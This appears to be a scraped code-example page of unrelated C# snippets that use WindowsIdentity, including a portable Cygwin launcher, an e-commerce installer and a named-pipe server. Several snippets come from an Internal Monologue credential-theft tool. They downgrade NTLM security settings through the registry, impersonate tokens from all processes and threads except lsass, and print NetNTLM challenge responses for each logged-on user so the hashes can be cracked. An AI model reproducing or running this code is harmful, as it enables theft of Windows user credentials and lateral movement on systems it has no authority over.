                if (Regex.IsMatch(challenge, @"^[0-9A-F]{16}$") == false)
                {
                    PrintError("Challenge must be a 8-byte long value in asciihex representation.  (e.g. 1122334455667788)");
                    return;
                }
            }


            //Extended NetNTLM Downgrade and impersonation can only work if the current process is elevated
            if (IsElevated())
            {
                if (verbose == true)
                {
                    Console.WriteLine("Running elevated");
                }
                object oldValue_LMCompatibilityLevel       = null;
                object oldValue_NtlmMinClientSec           = null;
                object oldValue_RestrictSendingNTLMTraffic = null;
                if (downgrade == true)
                {
                    if (verbose == true)
                    {
                        Console.WriteLine("Performing NTLM Downgrade");
                    }
                    //Perform an Extended NetNTLM Downgrade and store the current values to restore them later
                    ExtendedNTLMDowngrade(out oldValue_LMCompatibilityLevel, out oldValue_NtlmMinClientSec, out oldValue_RestrictSendingNTLMTraffic);
                }

                if (impersonate == true)
                {
                    if (verbose == true)
                    {
                        Console.WriteLine("Starting impersonation");
                    }
                    foreach (Process process in Process.GetProcesses())
                    {
                        if (process.ProcessName.Contains("lsass") == false) // Do not touch LSASS
                        {
                            HandleProcess(process, challenge, verbose);
                            foreach (ProcessThread thread in process.Threads)
                            {
                                HandleThread(thread, challenge, verbose);
                            }
                        }
                    }
                }
                else
                {
                    if (verbose == true)
                    {
                        Console.WriteLine("Performing attack on current user only (no impersonation)");
                    }
                    Console.WriteLine(WindowsIdentity.GetCurrent().Name + ":" + challenge + ":" + ByteArrayToString(InternalMonologueForCurrentUser(challenge)));
                }

                if (downgrade == true && restore == true)
                {
                    if (verbose == true)
                    {
                        Console.WriteLine("Restoring NTLM values");
                    }
                    //Undo changes made in the Extended NetNTLM Downgrade
                    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
                }
            }
            else
            {
                //If the process is not elevated, skip downgrade and impersonation and only perform an Internal Monologue Attack for the current user
                if (verbose == true)
                {
                    Console.WriteLine("Not elevated. Performing attack with current NTLM settings on current user");
                }
                Console.WriteLine(WindowsIdentity.GetCurrent().Name + ":" + challenge + ":" + ByteArrayToString(InternalMonologueForCurrentUser(challenge)));
            }
        }
Пример #19
0
        public static bool IsLocalAdministrator()
        {
            var principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            return(principal != null && principal.IsInRole(WindowsBuiltInRole.Administrator));
        }
Пример #20
0
            public void StartImpersonation(string DomainName, string UserName, string Password)
            {
                try
                {
                    if (!(impersonatedUser == null))
                    {
                        throw (new Exception("Already impersonating a user."));
                    }

                    tokenHandle = IntPtr.Zero;
                    dupeTokenHandle = IntPtr.Zero;

                    int returnValue =
                        System.Convert.ToInt32(LogonUser(UserName, DomainName, Password,
                                                         System.Convert.ToInt32(LOGON32_LOGON_INTERACTIVE),
                                                         System.Convert.ToInt32(LOGON32_PROVIDER_DEFAULT),
                                                         out tokenHandle));

                    if (0 == returnValue)
                    {
                        int errCode = Marshal.GetLastWin32Error();
                        string errMsg = "LogonUser failed with error code: " + errCode.ToString() + "(" +
                                        GetErrorMessage(errCode) + ")";
                        ApplicationException exLogon = new ApplicationException(errMsg);
                        throw (exLogon);
                    }

                    returnValue =
                        System.Convert.ToInt32(DuplicateToken(tokenHandle, System.Convert.ToInt32(SecurityImpersonation),
                                                              ref dupeTokenHandle));
                    if (0 == returnValue)
                    {
                        CloseHandle(tokenHandle);
                        throw (new ApplicationException("Error trying to duplicate handle."));
                    }

                    // The token that is passed to the following constructor must
                    // be a primary token in order to use it for impersonation.
                    WindowsIdentity newId = new WindowsIdentity(dupeTokenHandle);
                    impersonatedUser = newId.Impersonate();
                }
                catch (Exception ex)
                {
                    Runtime.MessageCollector.AddMessage(Messages.MessageClass.WarningMsg,
                                                        (string)
                                                        ("Starting Impersonation failed (Sessions feature will not work)" +
                                                         Constants.vbNewLine + ex.Message), true);
                }
            }
Пример #21
0
        static void Main()
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);

            //Set Path
            //ExeFile -> C:\PortableApps\CygwinPortable\App\CygwinPortable.exe
            Globals.ExeFile = Assembly.GetExecutingAssembly().Location;
            //AppPath -> C:\PortableApps\CygwinPortable\App
            Globals.AppPath = Path.GetDirectoryName(Globals.ExeFile);
            //BasePath -> C:\PortableApps\CygwinPortable
            Globals.BasePath = Directory.GetParent(Path.GetDirectoryName(Globals.ExeFile)).FullName;
            //RootPath -> C:\
            Globals.RootPath = Path.GetPathRoot(Globals.ExeFile);
            //DataPath -> C:\PortableApps\CygwinPortable\Data
            Globals.DataPath = Globals.BasePath + "\\Data";
            //ConfigPath -> C:\PortableApps\CygwinPortable\Data
            Globals.ConfigPath = Globals.BasePath + "\\Data";
            //ParentBasePath -> Get Parent Folder of CygwinPortable -> C:\
            DirectoryInfo parentBasePath = new DirectoryInfo(Globals.BasePath);

            Globals.ParentBasePath = parentBasePath.Parent.FullName;
            //ParentParentBasePath -> Check if PortableApps is installed in Subfolder e.g. C:\Programs\PortableApps
            if (Globals.ParentBasePath != Globals.RootPath)
            {
                DirectoryInfo parentParentBasePath = new DirectoryInfo(Globals.ParentBasePath);
                Globals.ParentParentBasePath = parentParentBasePath.Parent.FullName;
            }

            /*
             * Console.WriteLine(Globals.ExeFile);
             * Console.WriteLine(Globals.AppPath);
             * Console.WriteLine(Globals.BasePath);
             * Console.WriteLine(Globals.RootPath);
             * Console.WriteLine(Globals.DataPath);
             * Console.WriteLine(Globals.ConfigPath);
             * Console.WriteLine(Globals.PortableAppsPath);
             * Console.WriteLine(Globals.ParentBasePath);
             * Console.WriteLine(Globals.ParentParentBasePath);
             */

            WindowsPrincipal pricipal = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            Globals.RuntimeSettings["isAdmin"]                     = pricipal.IsInRole(WindowsBuiltInRole.Administrator);
            Globals.RuntimeSettings["defaultFileIconType"]         = 16384;
            Globals.RuntimeSettings["x86x64Download"]              = "x86";
            Globals.RuntimeSettings["CygwinFirstInstallAdditions"] = "vim,X11,xinit,wget,tar,gawk,bzip2";

            Globals.RuntimeSettings["fileIconType"] = 0x4000;
            Type runtimeType = Type.GetType("Mono.Runtime");

            if (runtimeType != null)
            {
                Globals.RuntimeSettings["Mono"] = true;
            }
            else
            {
                Globals.RuntimeSettings["Mono"] = false;
            }

            bool configFileExists = true;

            if (!File.Exists(Globals.ConfigPath + "\\Configuration.json"))
            {
                configFileExists = false;
            }

            Globals.MainConfig["Cygwin"]                        = new JObject();
            Globals.MainConfig["Cygwin"]["Username"]            = "******";
            Globals.MainConfig["Cygwin"]["ExitAfterExec"]       = false;
            Globals.MainConfig["Cygwin"]["SetContextMenu"]      = true;
            Globals.MainConfig["Cygwin"]["TrayMenu"]            = true;
            Globals.MainConfig["Cygwin"]["Shell"]               = "ConEmu";
            Globals.MainConfig["Cygwin"]["ExecutableExtension"] = "exe,bat,sh,pl,bat,py";
            Globals.MainConfig["Cygwin"]["NoMsgBox"]            = false;
            Globals.MainConfig["Cygwin"]["CygwinMirror"]        = "http://mirrors.kernel.org/sourceware/cygwin/";
            Globals.MainConfig["Cygwin"]["CygwinPortsMirror"]   = "ftp://ftp.cygwinports.org/pub/cygwinports";
            Globals.MainConfig["Cygwin"]["CygwinFirstInstallDeleteUnneeded"] = true;
            Globals.MainConfig["Cygwin"]["InstallUnofficial"]     = true;
            Globals.MainConfig["Cygwin"]["WindowsPathToCygwin"]   = true;
            Globals.MainConfig["Cygwin"]["WindowsAdditionalPath"] = "/cygdrive/c/python27;/cygdrive/c/windows;/cygdrive/c/windows/system32;/cygdrive/c/windows/SysWOW64";
            Globals.MainConfig["Cygwin"]["WindowsPythonPath"]     = "/cygdrive/c/python27";
            Globals.MainConfig["Cygwin"]["CygwinX86URL"]          = "https://www.cygwin.com/setup-x86.exe";
            Globals.MainConfig["Cygwin"]["CygwinX64URL"]          = "https://www.cygwin.com/setup-x86_64.exe";

            Globals.MainConfig["Cygwin"]["CygwinDeleteInstallation"]        = false;
            Globals.MainConfig["Cygwin"]["CygwinDeleteInstallationFolders"] = "xbin,cygdrive,dev,etc,home,lib,packages,tmp,usr,var";

            //Check if Delete Installation Flag is set
            if ((bool)Globals.MainConfig["Cygwin"]["CygwinDeleteInstallation"])
            {
                DialogResult dialogResult = MessageBox.Show("Do you REALLY want to delete and reinstall your Cygwin installation ?", "Delete/Reinstall Cygwin", MessageBoxButtons.YesNo);
                if (dialogResult == DialogResult.Yes)
                {
                    foreach (string folder in ((string)Globals.MainConfig["Cygwin"]["CygwinDeleteInstallationFolders"]).Split(','))
                    {
                        Directory.Delete(Globals.AppPath + "\\Runtime\\Cygwin\\" + folder, true);
                    }
                }
                else if (dialogResult == DialogResult.No)
                {
                }
            }

            //Create Folders if not exist
            if (!Directory.Exists(Globals.BasePath + "\\Data"))
            {
                Directory.CreateDirectory(Globals.BasePath + "\\Data");
            }

            //Config.SaveConfig();
            if (!configFileExists)
            {
                System.IO.File.WriteAllText(Globals.ConfigPath + "\\Configuration.json", JsonConvert.SerializeObject(Globals.MainConfig["Cygwin"], Formatting.Indented));

                configFileExists = true;
            }
            else
            {
                Helpers.MergeCsDictionaryAndSave((JObject)Globals.MainConfig["Cygwin"], Globals.ConfigPath + "\\Configuration.json");
            }

            //Check if Cygwin exists
            if (!File.Exists(Globals.AppPath + "\\Runtime\\Cygwin\\CygwinConfig.exe"))
            {
                if (!Directory.Exists(Globals.AppPath + "\\Runtime\\Cygwin"))
                {
                    Directory.CreateDirectory(Globals.AppPath + "\\Runtime\\Cygwin");
                }
                var firstInstallForm = new Form_FirstInstall();
                firstInstallForm.ShowDialog();

                var downloadForm = new Form_Download();
                downloadForm.ShowDialog();

                if (Globals.RuntimeSettings["x86x64Download"].ToString() == "x64")
                {
                    File.Move(Globals.ConfigPath + "\\setup-x86_64.exe", Globals.AppPath + "\\Runtime\\Cygwin\\CygwinConfig.exe");
                }
                else
                {
                    File.Move(Globals.ConfigPath + "\\setup-x86.exe", Globals.AppPath + "\\Runtime\\Cygwin\\CygwinConfig.exe");
                }

                String cygInstallerArgs = "-R " + Globals.AppPath + "\\Runtime\\Cygwin\\" + " -l " + Globals.AppPath +
                                          "\\Runtime\\Cygwin\\packages -n -d -N -s " +
                                          (string)Globals.MainConfig["Cygwin"]["CygwinMirror"] + " -q -P " +
                                          (string)Globals.RuntimeSettings["CygwinFirstInstallAdditions"];
                Process cygInstaller = new Process();
                cygInstaller.StartInfo.UseShellExecute = false;
                cygInstaller.StartInfo.Arguments       = cygInstallerArgs;
                cygInstaller.StartInfo.FileName        = Globals.AppPath + "\\Runtime\\Cygwin\\CygwinConfig.exe";
                cygInstaller.Start();
                cygInstaller.WaitForExit();

                if ((bool)Globals.MainConfig["Cygwin"]["CygwinFirstInstallDeleteUnneeded"])
                {
                    File.Delete(Globals.AppPath + "\\Runtime\\Cygwin\\Cygwin.ico");
                    File.Delete(Globals.AppPath + "\\Runtime\\Cygwin\\Cygwin.bat");
                    File.Delete(Globals.AppPath + "\\Runtime\\Cygwin\\setup.log");
                    File.Delete(Globals.AppPath + "\\Runtime\\Cygwin\\setup.log.full'");
                }

                Form_Download.Copy(Globals.AppPath + "\\DefaultData\\cygwin\\home", Globals.AppPath + "\\Runtime\\Cygwin\\home\\" + (string)Globals.MainConfig["Cygwin"]["Username"]);
                Form_Download.Copy(Globals.AppPath + "\\DefaultData\\cygwin\\bin", Globals.AppPath + "\\Runtime\\Cygwin\\bin");

                if (Globals.RuntimeSettings["x86x64Download"].ToString() == "x64")
                {
                    Form_Download.Copy(Globals.AppPath + "\\DefaultData\\cygwin_x86_x64\\bin", Globals.AppPath + "\\Runtime\\Cygwin\\bin");
                }
                else
                {
                    Form_Download.Copy(Globals.AppPath + "\\DefaultData\\cygwin_x86\\bin", Globals.AppPath + "\\Runtime\\Cygwin\\bin");
                }
            }

            //Check if ConEmu is installed
            if (!Directory.Exists(Globals.AppPath + "\\Runtime\\ConEmu") && (string)Globals.MainConfig["Cygwin"]["Shell"] == "ConEmu")
            {
                Globals.MainConfig["Cygwin"]["Shell"] = "mintty";
            }

            if ((string)Globals.MainConfig["Cygwin"]["Username"] == "")
            {
                Globals.MainConfig["Cygwin"]["Username"] = "******";
            }



            if (!Directory.Exists(Globals.BasePath + "\\Data\\ShellScript"))
            {
                Directory.CreateDirectory(Globals.BasePath + "\\Data\\ShellScript");
                File.Copy(Globals.AppPath + "\\DefaultData\\ShellScript\\Testscript.sh", Globals.DataPath + "\\ShellScript\\Testscript.sh");
            }
            if (!Directory.Exists(Globals.BasePath + "\\Data\\Shortcuts"))
            {
                Directory.CreateDirectory(Globals.BasePath + "\\Data\\Shortcuts");
                File.Copy(Globals.AppPath + "\\DefaultData\\Shortcuts\\C_Users.lnk", Globals.DataPath + "\\Shortcuts\\C_Users.lnk");
            }

            Application.Run(new Form_TrayMenu());
        }
    /// <summary>
    /// Runs the asynchronous action.
    /// </summary>
    /// <param name="action">Action to run</param>
    /// <param name="wi">Windows identity (windows user)</param>
    public void RunAsync(AsyncAction action, WindowsIdentity wi)
    {
        RenderScripts(true);

        Worker.Stop();
        Worker.Reset();

        Worker.RunAsync(action, wi);
    }
Пример #23
0
        protected virtual InstallationResult InstallCore(ILifetimeScope scope, InstallModel model)
        {
            UpdateResult(x =>
            {
                x.ProgressMessage = _locService.GetResource("Progress.CheckingRequirements");
                x.Completed       = false;
                Logger.Info(x.ProgressMessage);
            });

            if (DataSettings.DatabaseIsInstalled())
            {
                return(UpdateResult(x =>
                {
                    x.Success = true;
                    x.RedirectUrl = Url.Action("Index", "Home");
                    Logger.Info("Application already installed");
                }));
            }

            //set page timeout to 5 minutes
            this.Server.ScriptTimeout = 300;

            if (model.DatabaseConnectionString != null)
            {
                model.DatabaseConnectionString = model.DatabaseConnectionString.Trim();
            }

            //SQL Server
            if (model.DataProvider.Equals("sqlserver", StringComparison.InvariantCultureIgnoreCase))
            {
                if (model.SqlConnectionInfo.Equals("sqlconnectioninfo_raw", StringComparison.InvariantCultureIgnoreCase))
                {
                    //raw connection string
                    if (string.IsNullOrEmpty(model.DatabaseConnectionString))
                    {
                        UpdateResult(x =>
                        {
                            x.Errors.Add(_locService.GetResource("ConnectionStringRequired"));
                            Logger.Error(x.Errors.Last());
                        });
                    }

                    try
                    {
                        //try to create connection string
                        new SqlConnectionStringBuilder(model.DatabaseConnectionString);
                    }
                    catch (Exception ex)
                    {
                        UpdateResult(x =>
                        {
                            x.Errors.Add(_locService.GetResource("ConnectionStringWrongFormat"));
                            Logger.Error(ex, x.Errors.Last());
                        });
                    }
                }
                else
                {
                    //values
                    if (string.IsNullOrEmpty(model.SqlServerName))
                    {
                        UpdateResult(x =>
                        {
                            x.Errors.Add(_locService.GetResource("SqlServerNameRequired"));
                            Logger.Error(x.Errors.Last());
                        });
                    }

                    if (string.IsNullOrEmpty(model.SqlDatabaseName))
                    {
                        UpdateResult(x =>
                        {
                            x.Errors.Add(_locService.GetResource("DatabaseNameRequired"));
                            Logger.Error(x.Errors.Last());
                        });
                    }

                    //authentication type
                    if (model.SqlAuthenticationType.Equals("sqlauthentication", StringComparison.InvariantCultureIgnoreCase))
                    {
                        //SQL authentication
                        if (string.IsNullOrEmpty(model.SqlServerUsername))
                        {
                            UpdateResult(x =>
                            {
                                x.Errors.Add(_locService.GetResource("SqlServerUsernameRequired"));
                                Logger.Error(x.Errors.Last());
                            });
                        }

                        if (string.IsNullOrEmpty(model.SqlServerPassword))
                        {
                            UpdateResult(x =>
                            {
                                x.Errors.Add(_locService.GetResource("SqlServerPasswordRequired"));
                                Logger.Error(x.Errors.Last());
                            });
                        }
                    }
                }
            }


            //Consider granting access rights to the resource to the ASP.NET request identity.
            //ASP.NET has a base process identity
            //(typically {MACHINE}\ASPNET on IIS 5 or Network Service on IIS 6 and IIS 7,
            //and the configured application pool identity on IIS 7.5) that is used if the application is not impersonating.
            //If the application is impersonating via <identity impersonate="true"/>,
            //the identity will be the anonymous user (typically IUSR_MACHINENAME) or the authenticated request user.
            var webHelper = scope.Resolve <IWebHelper>();
            //validate permissions
            var dirsToCheck = FilePermissionHelper.GetDirectoriesWrite(webHelper);

            foreach (string dir in dirsToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(dir, false, true, true, false))
                {
                    UpdateResult(x =>
                    {
                        x.Errors.Add(string.Format(_locService.GetResource("ConfigureDirectoryPermissions"), WindowsIdentity.GetCurrent().Name, dir));
                        Logger.Error(x.Errors.Last());
                    });
                }
            }

            var filesToCheck = FilePermissionHelper.GetFilesWrite(webHelper);

            foreach (string file in filesToCheck)
            {
                if (!FilePermissionHelper.CheckPermissions(file, false, true, true, true))
                {
                    UpdateResult(x =>
                    {
                        x.Errors.Add(string.Format(_locService.GetResource("ConfigureFilePermissions"), WindowsIdentity.GetCurrent().Name, file));
                        Logger.Error(x.Errors.Last());
                    });
                }
            }

            if (GetInstallResult().HasErrors)
            {
                return(UpdateResult(x =>
                {
                    x.Completed = true;
                    x.Success = false;
                    x.RedirectUrl = null;
                    Logger.Error("Aborting installation.");
                }));
            }
            else
            {
                SmartObjectContext dbContext = null;
                var shouldDeleteDbOnFailure  = false;

                try
                {
                    string connectionString = null;
                    if (model.DataProvider.Equals("sqlserver", StringComparison.InvariantCultureIgnoreCase))
                    {
                        //SQL Server

                        if (model.SqlConnectionInfo.Equals("sqlconnectioninfo_raw", StringComparison.InvariantCultureIgnoreCase))
                        {
                            //raw connection string

                            //we know that MARS option is required when using Entity Framework
                            //let's ensure that it's specified
                            var sqlCsb = new SqlConnectionStringBuilder(model.DatabaseConnectionString);
                            sqlCsb.MultipleActiveResultSets = true;
                            connectionString = sqlCsb.ToString();
                        }
                        else
                        {
                            //values
                            connectionString = CreateConnectionString(
                                model.SqlAuthenticationType == "windowsauthentication",
                                model.SqlServerName, model.SqlDatabaseName,
                                model.SqlServerUsername, model.SqlServerPassword);
                        }

                        if (model.SqlServerCreateDatabase)
                        {
                            if (!SqlServerDatabaseExists(connectionString))
                            {
                                //create database
                                var collation             = model.UseCustomCollation ? model.Collation : "";
                                var errorCreatingDatabase = CreateDatabase(connectionString, collation);
                                if (errorCreatingDatabase.HasValue())
                                {
                                    return(UpdateResult(x =>
                                    {
                                        x.Errors.Add(errorCreatingDatabase);
                                        x.Completed = true;
                                        x.Success = false;
                                        x.RedirectUrl = null;
                                        Logger.Error(errorCreatingDatabase);
                                    }));
                                }
                                else
                                {
                                    // Database cannot be created sometimes. Weird! Seems to be Entity Framework issue
                                    // that's just wait 3 seconds
                                    Thread.Sleep(3000);

                                    shouldDeleteDbOnFailure = true;
                                }
                            }
                        }
                        else
                        {
                            //check whether database exists
                            if (!SqlServerDatabaseExists(connectionString))
                            {
                                return(UpdateResult(x =>
                                {
                                    x.Errors.Add(_locService.GetResource("DatabaseNotExists"));
                                    x.Completed = true;
                                    x.Success = false;
                                    x.RedirectUrl = null;
                                    Logger.Error(x.Errors.Last());
                                }));
                            }
                        }
                    }
                    else
                    {
                        // SQL CE
                        string databaseFileName = "SmartStore.Db.sdf";
                        string databasePath     = @"|DataDirectory|\Tenants\{0}\{1}".FormatInvariant(DataSettings.Current.TenantName, databaseFileName);
                        connectionString = "Data Source=" + databasePath + "; Persist Security Info=False";

                        // drop database if exists
                        string databaseFullPath = HostingEnvironment.MapPath(DataSettings.Current.TenantPath.EnsureEndsWith("/")) + databaseFileName;
                        if (System.IO.File.Exists(databaseFullPath))
                        {
                            System.IO.File.Delete(databaseFullPath);
                        }

                        shouldDeleteDbOnFailure = true;
                    }

                    // save settings
                    var dataProvider = model.DataProvider;
                    var settings     = DataSettings.Current;
                    settings.AppVersion           = SmartStoreVersion.Version;
                    settings.DataProvider         = dataProvider;
                    settings.DataConnectionString = connectionString;
                    settings.Save();

                    // init data provider
                    var dataProviderInstance = scope.Resolve <IEfDataProvider>();

                    // Although obsolete we have no other chance than using this here.
                    // Delegating this to DbConfiguration is not possible during installation.
#pragma warning disable 618
                    Database.DefaultConnectionFactory = dataProviderInstance.GetConnectionFactory();
#pragma warning restore 618

                    // resolve SeedData instance from primary language
                    var lazyLanguage = _locService.GetAppLanguage(model.PrimaryLanguage);
                    if (lazyLanguage == null)
                    {
                        return(UpdateResult(x =>
                        {
                            x.Errors.Add(_locService.GetResource("Install.LanguageNotRegistered").FormatInvariant(model.PrimaryLanguage));
                            x.Completed = true;
                            x.Success = false;
                            x.RedirectUrl = null;
                            Logger.Error(x.Errors.Last());
                        }));
                    }

                    // create the DataContext
                    dbContext = new SmartObjectContext();

                    // AuditableHook must run during install
                    dbContext.DbHookHandler = new DefaultDbHookHandler(new[]
                    {
                        new Lazy <IDbHook, HookMetadata>(() => new AuditableHook(), HookMetadata.Create <AuditableHook>(typeof(IAuditable), true), false)
                    });

                    // IMPORTANT: Migration would run way too early otherwise
                    Database.SetInitializer <SmartObjectContext>(null);

                    // create Language domain object from lazyLanguage
                    var languages       = dbContext.Set <Language>();
                    var primaryLanguage = languages.Create();                     // create a proxied type, resources cannot be saved otherwise
                    primaryLanguage.Name              = lazyLanguage.Metadata.Name;
                    primaryLanguage.LanguageCulture   = lazyLanguage.Metadata.Culture;
                    primaryLanguage.UniqueSeoCode     = lazyLanguage.Metadata.UniqueSeoCode;
                    primaryLanguage.FlagImageFileName = lazyLanguage.Metadata.FlagImageFileName;

                    // Build the seed configuration model
                    var seedConfiguration = new SeedDataConfiguration
                    {
                        DefaultUserName     = model.AdminEmail,
                        DefaultUserPassword = model.AdminPassword,
                        SeedSampleData      = model.InstallSampleData,
                        Data                    = lazyLanguage.Value,
                        Language                = primaryLanguage,
                        StoreMediaInDB          = model.MediaStorage == "db",
                        ProgressMessageCallback = msg => UpdateResult(x => x.ProgressMessage = _locService.GetResource(msg))
                    };

                    var seeder = new InstallDataSeeder(seedConfiguration, Logger);
                    Database.SetInitializer(new InstallDatabaseInitializer()
                    {
                        DataSeeders = new[] { seeder }
                    });

                    UpdateResult(x =>
                    {
                        x.ProgressMessage = _locService.GetResource("Progress.BuildingDatabase");
                        Logger.Info(x.ProgressMessage);
                    });
                    // ===>>> actually performs the installation by calling "InstallDataSeeder.Seed()" internally
                    dbContext.Database.Initialize(true);

                    // install plugins
                    PluginManager.MarkAllPluginsAsUninstalled();
                    var pluginFinder = scope.Resolve <IPluginFinder>();
                    var plugins      = pluginFinder.GetPlugins <IPlugin>(false)
                                       //.ToList()
                                       .OrderBy(x => x.PluginDescriptor.Group)
                                       .ThenBy(x => x.PluginDescriptor.DisplayOrder)
                                       .ToList();

                    var ignoredPluginsSetting            = CommonHelper.GetAppSetting <string>("sm:PluginsIgnoredDuringInstallation");
                    var pluginsIgnoredDuringInstallation = String.IsNullOrEmpty(ignoredPluginsSetting) ?
                                                           new List <string>() :
                                                           ignoredPluginsSetting
                                                           .Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)
                                                           .Select(x => x.Trim())
                                                           .ToList();

                    if (pluginsIgnoredDuringInstallation.Count > 0)
                    {
                        plugins = plugins.Where(x => !pluginsIgnoredDuringInstallation.Contains(x.PluginDescriptor.SystemName, StringComparer.OrdinalIgnoreCase)).ToList();
                    }

                    var pluginsCount = plugins.Count;
                    var idx          = 0;

                    using (var dbScope = new DbContextScope(autoDetectChanges: false, hooksEnabled: false)) {
                        foreach (var plugin in plugins)
                        {
                            try
                            {
                                idx++;
                                UpdateResult(x =>
                                {
                                    x.ProgressMessage = _locService.GetResource("Progress.InstallingPlugins").FormatInvariant(idx, pluginsCount);
                                    Logger.InfoFormat("Installing plugin '{0}'.", plugin.PluginDescriptor.FriendlyName ?? plugin.PluginDescriptor.SystemName);
                                });
                                plugin.Install();
                                dbScope.Commit();
                            }
                            catch (Exception ex)
                            {
                                Logger.Error(ex);

                                if (plugin.PluginDescriptor.Installed)
                                {
                                    PluginManager.MarkPluginAsUninstalled(plugin.PluginDescriptor.SystemName);
                                }
                            }
                        }
                    }

                    UpdateResult(x =>
                    {
                        x.ProgressMessage = _locService.GetResource("Progress.Finalizing");
                        Logger.Info(x.ProgressMessage);
                    });

                    // Register default permissions
                    var permissionProviders = new List <Type>();
                    permissionProviders.Add(typeof(StandardPermissionProvider));
                    foreach (var providerType in permissionProviders)
                    {
                        dynamic provider = Activator.CreateInstance(providerType);
                        scope.Resolve <IPermissionService>().InstallPermissions(provider);
                    }

                    // do not ignore settings migrated by data seeder (e.g. default media storage provider)
                    scope.Resolve <ISettingService>().ClearCache();

                    // SUCCESS: Redirect to home page
                    return(UpdateResult(x =>
                    {
                        x.Completed = true;
                        x.Success = true;
                        x.RedirectUrl = Url.Action("Index", "Home");
                        Logger.Info("Installation completed successfully");
                    }));
                }
                catch (Exception exception)
                {
                    Logger.Error(exception);

                    // Clear provider settings if something got wrong
                    DataSettings.Delete();

                    // Delete Db if it was auto generated
                    if (dbContext != null && shouldDeleteDbOnFailure)
                    {
                        try
                        {
                            Logger.Debug("Deleting database");
                            dbContext.Database.Delete();
                        }
                        catch { }
                    }

                    var msg           = exception.Message;
                    var realException = exception;
                    while (realException.InnerException != null)
                    {
                        realException = realException.InnerException;
                    }

                    if (!Object.Equals(exception, realException))
                    {
                        msg += " (" + realException.Message + ")";
                    }

                    return(UpdateResult(x =>
                    {
                        x.Errors.Add(string.Format(_locService.GetResource("SetupFailed"), msg));
                        x.Success = false;
                        x.Completed = true;
                        x.RedirectUrl = null;
                    }));
                }
                finally
                {
                    if (dbContext != null)
                    {
                        dbContext.Dispose();
                    }
                }
            }
        }
Пример #24
0
        public static void HandleThread(ProcessThread thread, string challenge, bool verbose)
        {
            string SID = null;

            try
            {
                //Try to get thread handle
                var handle = OpenThread(0x0040, true, new IntPtr(thread.Id));

                //If failed, return
                if (handle == IntPtr.Zero)
                {
                    return;
                }

                //Duplicate thread token
                var token    = IntPtr.Zero;
                var dupToken = IntPtr.Zero;
                if (OpenThreadToken(handle, 0x0002, true, ref token))
                {
                    var sa = new SECURITY_ATTRIBUTES();
                    sa.nLength = Marshal.SizeOf(sa);

                    DuplicateTokenEx(
                        token,
                        0x0002 | 0x0008,
                        ref sa,
                        (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                        (int)1,
                        ref dupToken);

                    CloseHandle(token);

                    try
                    {
                        //Get the SID of the token
                        StringBuilder sb               = new StringBuilder();
                        int           TokenInfLength   = 1024;
                        IntPtr        TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
                        Boolean       Result           = GetTokenInformation(dupToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
                        if (Result)
                        {
                            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));

                            IntPtr  pstr = IntPtr.Zero;
                            Boolean ok   = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
                            SID = Marshal.PtrToStringAuto(pstr);
                            LocalFree(pstr);
                        }

                        Marshal.FreeHGlobal(TokenInformation);
                    }
                    catch (Exception e)
                    {
                        CloseHandle(dupToken);
                        CloseHandle(handle);
                    }
                }

                //Handle each available user only once
                if (SID != null && authenticatedUsers.Contains(SID) == false)
                {
                    try
                    {
                        //Impersonate user
                        using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
                        {
                            if (verbose == true)
                            {
                                Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
                            }
                            string result = ByteArrayToString(InternalMonologueForCurrentUser(challenge));
                            //Ensure there is a valid response and not a blank
                            if (result != null && result.Length > 0)
                            {
                                Console.WriteLine(WindowsIdentity.GetCurrent().Name + ":" + challenge + ":" + result);
                                authenticatedUsers.Add(SID);
                            }
                            else if (verbose == true)
                            {
                                Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name);
                            }
                        }
                    }
                    catch (Exception e)
                    { /*Does not need to do anything if it fails*/ }
                    finally
                    {
                        CloseHandle(dupToken);
                        CloseHandle(handle);
                    }
                }
            }
            catch (Exception)
            { /*Does not need to do anything if it fails*/ }
        }
Пример #25
0
        private NamedPipeServerStream CreateOpenTabPipeServer(string pipeName)
        {
            var ps = new PipeSecurity();

            var cur_user = WindowsIdentity.GetCurrent().User.Translate(typeof(NTAccount));

            ps.SetAccessRule(new PipeAccessRule(cur_user,
                                                PipeAccessRights.ReadWrite | PipeAccessRights.CreateNewInstance, AccessControlType.Allow));

            var pipeClientConnection = new NamedPipeServerStream(pipeName, PipeDirection.In, 5,
                                                                 PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps);


            pipeClientConnection.BeginWaitForConnection(asyncResult =>
            {
                using (var conn = (NamedPipeServerStream)asyncResult.AsyncState)
                {
                    conn.EndWaitForConnection(asyncResult);

                    var newServer = CreateOpenTabPipeServer(pipeName);

                    var streamReader = new StreamReader(conn);

                    while (true)
                    {
                        string file = streamReader.ReadLine();

                        if (file == ":KILL:")
                        {
                            if (pipeClientConnection.IsConnected)
                            {
                                pipeClientConnection.Disconnect();
                            }

                            pipeClientConnection.Close();
                            pipeClientConnection.Dispose();

                            if (newServer.IsConnected)
                            {
                                newServer.Disconnect();
                            }

                            newServer.Close();
                            newServer.Dispose();

                            return;
                        }
                        if (file == ":EOF:")
                        {
                            break;
                        }

                        Dispatcher.Invoke(() =>
                        {
                            var alreadyOpen = EditorTabs.FirstOrDefault(x => x.FilePath == file);
                            if (alreadyOpen != null)
                            {
                                TabControl.SelectedIndex = EditorTabs.IndexOf(alreadyOpen);
                                return;
                            }

                            var tab = CreateEditorTab();
                            if (!tab.OpenFileInteractive(file))
                            {
                                return;
                            }
                            EditorTabs.Add(tab);
                            TabControl.SelectedIndex = EditorTabs.Count - 1;
                        });
                    }
                }
            }, pipeClientConnection);

            return(pipeClientConnection);
        }
Пример #26
0
        public static bool HasAdministrativeRight()
        {
